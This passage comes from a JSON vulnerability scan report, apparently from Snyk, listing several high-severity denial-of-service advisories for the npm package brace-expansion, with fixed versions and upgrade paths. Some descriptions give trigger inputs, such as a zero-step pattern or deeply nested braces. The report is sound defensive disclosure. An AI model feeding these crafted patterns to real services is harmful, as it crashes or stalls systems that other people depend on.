version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpublish@10.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpublish@10.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpublish@10.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpublish@10.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpublish@11.2.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmsearch@8.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmsearch@9.0.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmsearch@8.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmsearch@9.0.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
